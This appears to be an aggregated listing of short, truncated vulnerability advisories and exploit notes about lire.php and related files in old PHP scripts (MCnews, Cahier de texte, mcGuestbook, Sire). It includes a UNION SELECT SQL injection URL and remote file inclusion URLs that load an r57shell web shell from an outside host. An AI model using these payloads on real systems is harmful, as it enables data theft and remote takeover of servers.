MCnews 1.3 SQL Injection

:: MCnews 1.3 :: Download: http://www.phpforums.net/mcNews1.3.zip link off :: Vendor: www.phpforums.net :: Author: s4r4d0 :: mail: [email protected] :: Bug: Sql Injection found on lire.php file :: Exploit: http://host/mcNews/lire.php?n=-1+UNION+SELECT+1,2,@@version,4,5,6,7,8,9,10,11,12,13,14-- ::...

CVE-2006-5221: Improper Neutralization of Special Elements used in an SQL Command

Multiple SQL injection vulnerabilities in Cahier de texte 2.0 allow remote attackers to execute arbitrary SQL commands via the 1 matiereID parameter in lire.php or the 2 classeID parameter in lireafaire.php...

CVE-2006-3175: Improper Control of Generation of Code

Multiple PHP remote file inclusion vulnerabilities in mcGuestbook 1.3 allow remote attackers to execute arbitrary PHP code via a URL in the lang parameter to 1 admin.php, 2 ecrire.php, and 3 lire.php. NOTE: it was later reported that the ecrire.php vector also affects 1.2. NOTE: this issue might ...

file include exploits in mcGuestbook 1.3

Multiple file include exploits in mcGuestbook 1.3 script type : mcGuestbook 1.3 bug found by : sweet-devil team : site-down type : file include exploits : admin.php http://www.example.com/path/admin.php?lang=http://yoursite/r57shell.txt? ecrire.php...

file include exploits in mcGuestbook 1.3

Multiple file include exploits in mcGuestbook 1.3 script type : mcGuestbook 1.3 bug found by : sweet-devil team : site-down type : file include exploits : admin.php http://www.example.com/path/admin.php?lang=http://yoursite/r57shell.txt? ecrire.php...

CVE-2006-1703: Undefined Security Weakness

PHP remote file inclusion vulnerability in lire.php in Sire 2.0 nws allows remote attackers to execute arbitrary PHP code via a URL in the rub parameter...

Sire 2.0 (lire.php) Remote File Inclusion/Arbitary File Upload Vulnerability

No description provided by source. +File Inclusion: Input passed to the "rub" parameter in "lire.php" isn't properly verified, before it is used to include remote files Successful exploitation requires that "registerglobals" is enabled. lire.php code ? 73 ifempty$GET"rub"$rub=rtrim$rubriques0; el...